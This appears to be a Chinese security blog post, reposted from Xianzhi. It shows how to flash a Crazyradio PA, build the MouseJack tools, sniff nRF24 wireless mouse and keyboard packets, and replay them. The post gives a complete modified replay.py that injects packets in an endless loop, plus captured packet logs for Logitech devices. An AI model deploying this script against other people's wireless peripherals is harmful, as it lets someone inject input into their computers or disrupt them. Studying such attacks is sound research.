无线键鼠通常使用在2.4GHz ISM频段中运行的专有协议进行通信。当键鼠产生按键或移动时就会把相应的射频数据包发送到无线接收器中,从而和pc通信。
本文使用mousejack项目和crazyradio pa无线收发器来分析无线键鼠间的通信,并实现重放攻击。
下面三个测试设备都是使用的2.4GHz nRF24收发器:
crazyradio pa相当于放大版的usb适配器,通过修改其固件,可以使其包含对伪混杂模式的支持,从而简化嗅探包和注入功能的代码。
接入crazyradio,lsusb可以看到设备id为1915:7777
安装依赖:
sudo apt install sdcc binutils python python-pip pip install pyusb pip install platformio
烧录:
git clone https://github.com/bitcraze/crazyradio-firmware cd crazyradio-firmware python usbtools/launchBootloader.py
显示timeout,原因应该是原来的脚本设置的timeout时间太短,改一下就好:
显示Bootloader started启动成功。
从这里下载对应的固件版本,烧录固件:
python usbtools/nrfbootload.py flash cradio-0.53.bin
烧录成功后重新插拔设备。设备id为1915:0101
MouseJack是一组影响非蓝牙无线鼠标和键盘的安全漏洞项目。这些漏洞跨越7家供应商,使攻击者能够在100米之外受害者的电脑上输入任意命令。
编译项目:
git clone --recursive https://github.com/RFStorm/mousejack.git cd mousejack make make install
成功后重新插拔设备,id为1915:0102
mousejack扩展工具:https://github.com/iamckn/mousejack_transmit
每次执行完脚本后都需要重新插拔crazyradio pa设备
扫描无线设备:
cd nrf-research-firmware/tools sudo python nrf24-scanner.py
可以确定到无线鼠标的mac地址为B0:58:31:49:A4
之后可以针对性地嗅探鼠标:
sudo python nrf24-sniffer.py -a B0:58:31:49:A4
嗅探到了左右键点击时的数据:
右键点击 [2019-04-14 19:31:32.972] 32 10 B0:58:31:49:A4 00:C2:02:00:00:00:00:00:00:3C [2019-04-14 19:31:32.980] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C 右键松开 [2019-04-14 19:31:34.479] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E [2019-04-14 19:31:34.484] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C 左键点击 [2019-04-14 19:32:35.658] 32 10 B0:58:31:49:A4 00:C2:01:00:00:00:00:00:00:3D [2019-04-14 19:32:35.666] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C 左键松开 [2019-04-14 19:32:36.699] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E [2019-04-14 19:32:36.708] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C
在tools目录下新建pack.log文件,写入右键点击的数据:
00:C2:02:00:00:00:00:00:00:3C 00:4F:00:00:55:00:00:00:00:5C 00:C2:00:00:00:00:00:00:00:3E 00:4F:00:00:55:00:00:00:00:5C
官方给的脚本运行失败了,没法把数据包发到对应的channel里。
用vscode开始自己调试找bug:
在tools/lib/common.py文件中修改logging level,让它能输出debug信息(或者直接加参数-v输出详细信息):
在launch.json中加上命令行参数:
在不加-c参数的情况下它会把channel从2到83都扫一遍,但仍然ping不成功channel,无法发送payload。
而在nrf24-sniffer.py中同理却能成功ping到channel:
最后发现是replay.py的address的问题,官方写的是try_address = chr(b) + address[1:] 导致address为B0:58:31:49:00。。。改成try_address = address[0:]就Ok了。
在发送payload前加入while true无限循环达成重放干扰攻击效果。
最终replay.py脚本:
#!/usr/bin/env python ''' This program is changed by nrf24-network-mapper, you can use this script to replay packets. ''' import binascii, time from lib import common # Parse command line arguments and initialize the radio common.init_args('./nrf24-network-mapper.py') common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True) common.parser.add_argument('-p', '--passes', type=str, help='Number of passes (default 2)', default=2) common.parser.add_argument('-k', '--ack_timeout', type=int, help='ACK timeout in microseconds, accepts [250,4000], step 250', default=500) common.parser.add_argument('-r', '--retries', type=int, help='Auto retry limit, accepts [0,15]', default='5', choices=xrange(0, 16), metavar='RETRIES') common.parse_and_init() # Parse the address address = common.args.address.replace(':', '').decode('hex')[::-1][:5] address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) if len(address) < 2: raise Exception('Invalid address: {0}'.format(common.args.address)) # Put the radio in sniffer mode (ESB w/o auto ACKs) common.radio.enter_sniffer_mode(address) # Payload used for pinging the target device # (some nRF24 based devices don't play well with shorter payloads) # Format the ACK timeout and auto retry values ack_timeout = int(common.args.ack_timeout / 250) - 1 ack_timeout = max(0, min(ack_timeout, 15)) retries = max(0, min(common.args.retries, 15)) ping_payload = '\x0F\x0F\x0F\x0F' #click_payload ='\x01\x02\x00\x00\x03\x38' #Ping each address on each channel args.passes number of times #Read pack def ReadPack(): payload = [] for line in open('pack.log'): payload.append(line) return payload def Ping(): channels_t = [] valid_addresses = [] for p in range(common.args.passes): for b in range(4): try_address = address[0:] common.radio.enter_sniffer_mode(try_address) for c in range(len(common.args.channels)): common.radio.set_channel(common.args.channels[c]) if common.radio.transmit_payload(ping_payload, ack_timeout, retries): channels_t.append(common.channels[c]) return channels_t def airplay(sendpayload,get_channels,data): valid_addresses = [] for p in range(common.args.passes): # Step through each potential address for b in range(4): try_address = address[0:] common.radio.enter_sniffer_mode(try_address) # Step through each channel for c in range(len(get_channels)): common.radio.set_channel(get_channels[c]) # Attempt to ping the address while True: if common.radio.transmit_payload(sendpayload, ack_timeout, retries): valid_addresses.append(try_address) print ('Sending Payload:'+' '+data) #run def run(): get_channels=list(set(Ping())) payloads = ReadPack() print (payloads) for payload in payloads: data = payload.strip('\n') payload = binascii.a2b_hex(data.replace(':','')) airplay(payload,get_channels,data) def main(): run() if __name__ == '__main__': main()
重放攻击:
sudo python replay.py -a B0:58:31:49:A4
经过测试罗技k220的键盘和k400r的无线触控键盘都能实现重放攻击。
下面是嗅探到的数据包:
k220 右键点击 [2019-04-14 19:31:32.972] 32 10 B0:58:31:49:A4 00:C2:02:00:00:00:00:00:00:3C [2019-04-14 19:31:32.980] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C 右键松开 [2019-04-14 19:31:34.479] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E [2019-04-14 19:31:34.484] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C 左键点击 [2019-04-14 19:32:35.658] 32 10 B0:58:31:49:A4 00:C2:01:00:00:00:00:00:00:3D [2019-04-14 19:32:35.666] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C 左键松开 [2019-04-14 19:32:36.699] 32 10 B0:58:31:49:A4 00:C2:00:00:00:00:00:00:00:3E [2019-04-14 19:32:36.708] 32 10 B0:58:31:49:A4 00:4F:00:00:55:00:00:00:00:5C 空格按下 [2019-04-22 17:39:42.260] 65 22 55:11:BE:0B:B4 00:D3:1A:EB:F6:4C:3A:4C:77:C7:28:4F:CB:18:00:00:00:00:00:00:00:C8 [2019-04-22 17:39:42.281] 65 10 55:11:BE:0B:B4 00:4F:00:00:55:00:00:00:00:5C 空格松开 [2019-04-22 17:39:43.696] 65 22 55:11:BE:0B:B4 00:D3:B7:BD:CB:63:DB:7B:45:17:28:4F:CB:19:00:00:00:00:00:00:00:7E [2019-04-22 17:39:43.718] 65 10 55:11:BE:0B:B4 00:4F:00:00:55:00:00:00:00:5C [2019-04-22 17:39:43.796] 65 10 55:11:BE:0B:B4 00:4F:00:03:70:00:00:00:00:3E k400r 右键 [2019-04-22 18:07:54.975] 71 10 D5:97:92:C1:07 00:C2:02:00:00:00:00:00:00:3C [2019-04-22 18:07:55.442] 71 10 D5:97:92:C1:07 00:C2:00:00:00:00:00:00:00:3E 空格 [2019-04-22 18:08:43.194] 71 22 D5:97:92:C1:07 00:D3:86:00:51:75:58:39:C7:00:40:FD:10:72:00:00:00:00:00:00:00:CA [2019-04-22 18:08:43.671] 71 22 D5:97:92:C1:07 00:D3:9C:F5:7B:D6:B1:5F:FC:08:40:FD:10:73:00:00:00:00:00:00:00:77 [2019-04-22 18:08:43.679] 71 10 D5:97:92:C1:07 00:4F:00:01:18:00:00:00:00:98
更改一下pack.log发送数据包的内容就可以用replay.py实现重放攻击了。
另外在测试dell km714无线键鼠时有个很奇怪的现象,用nrf24-network-mapper.py来跑星形网络的时候,键鼠会失效,但重新拔插接收器就能继续正常使用。而另外两个测试的键鼠就没有这种现象
而这个脚本仅仅是改了给定地址的最后一个字节,并在每个信道上ping 256个可能的地址,感觉没有什么理由能让键鼠都失效,可能是键鼠固件的问题吧…
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.